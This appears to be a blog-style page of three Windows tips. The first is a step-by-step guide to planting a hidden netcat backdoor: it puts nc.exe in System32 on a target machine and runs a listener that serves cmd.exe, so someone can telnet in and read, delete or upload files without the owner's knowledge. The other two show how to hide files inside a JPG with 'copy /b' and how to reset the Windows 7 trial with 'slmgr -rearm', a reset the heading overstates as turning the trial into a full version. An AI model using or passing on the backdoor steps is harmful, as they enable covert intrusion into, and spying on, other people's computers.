How To Create Backdoor Trojan To Spy On Remote Computer

What is Backdoor?

A "backdoor" into a computer is a hidden way of accessing the computer without the owner's knowledge.

What can Backdoor do?

Backdoor gives you full access of the target computer from your computer. You can read, delete, copy, or upload any file to victim’s computer.

What Will You Need?

• Temporary access to target computer

• IP address of the target computer

 Let’s Start to create backdoor: 

1) Download Netcat for Windows. This program is free and open-source, so you don't have to pay anyone to use it.

2) Unzip the program to any folder you wish.

3) Take the "nc.exe" program and copy it onto the target computer that you want to install a backdoor to. Make sure to put the nc.exe program into the "C:\Windows\System32" directory on the target machine.

4) In target computer, open a command prompt. Type the “cd c:\windows\system32" and press enter it will navigate to the folder where you placed the nc.exe program.

5) Type the following into the command prompt: "nc -d -L -e cmd.exe -p XXXX," where "XXXX" is the port number you wish to connect through. Choose something high, such as port 10000 or higher.

 6) On your machine, open a command prompt and type the following command: "telnet X.X.X.X XXXX," where "X.X.X.X" is the IP address of the target computer and "XXXX" is the port of the target computer that you opened earlier. This command opens a data link between the two computers, through which you can explore files, run commands and perform other actions.

 7) If you are using windows 7 then telnet is not activated by default so you have to activate it manually. To activate it go to “control panel --> program” and click on “turn windows feature on/off”. Then select both check boxes for telnet server and client.

 8) That's it. Done ! Now you have full access to target computer.

How to Hide Secret Documents inside JPG Images

Turn out that it is actually very easy to hide (or embed) other file inside a JPEG image. You can place video clips, pdf, mp3, Office documents, zipped files, webpage or any other file format inside a JPEG image.

Let's say you want to hide a confidential PDF document. What you can do is convert that file into a regular jpg image so even if anyone double-clicks this file, all he will see is a preview of the image and nothing else. And when you want to work on the actual PDF, just rename the extension from jpg to pdf.

Step 1: You will need two files - the file you want to hide and one jpg image - it can be of any size or dimensions. [If you want to hide multiple files in one jpeg image, just zip them into one file]

Step 2: Copy the above two files to the C: folder and open the command prompt window.

Step 3: Move to the c: root by typing cd\ [enter][if the files are in another folder, you'll have to change the prompt to that folder]

Step 4: The most important step - type the following command:

copy /b myimage.jpg + filetohide.txt my_new_image.jpg

Step 5: To see the original TXT file, just right click--> my_new_image.jpg and open with notepad-->go to end of file you will see your secret message.

Here we illustrated with an .TXT file. If you want to apply this technique to other file formats like XLS, DOC, PPT, AVI, WMV, WAV, SWF, etc, you may have to first compress them in RAR format before executing the copy /b DOS command.

To restore the original file, just open file with winRAR or 7-zip.

How to extend Windows 7 trial to a full version

If you install Windows 7 and don’t enter an installation key, the 30-day activation clock starts. To see how many days you have left, click Start, right-click Computer, and choose Properties. At the bottom of the dialog under Windows Activation, you’ll see the number of days left in your trial period.

When that number gets close to zero, you can extend the free period another 30 days via the following steps:

• Step 1 : Click Start-->All Programs-->Accessories. Right-click Command Prompt and choose Run As Administrator. 

• Step 2 : Type the following command and press Enter

slmgr  -rearm

• 
  

•  Step 3 : Restart Windows 7.

Once the OS restarts, the Properties dialog described above will indicate that Windows 7′s activation grace period has been reset to a full 30 days.

You can run the -rearm trick a total of three times. If you perform a -rearm at the end of each 30-day period, you end up with 120 days of full, unfettered Windows 7 use without having to supply an activation key.
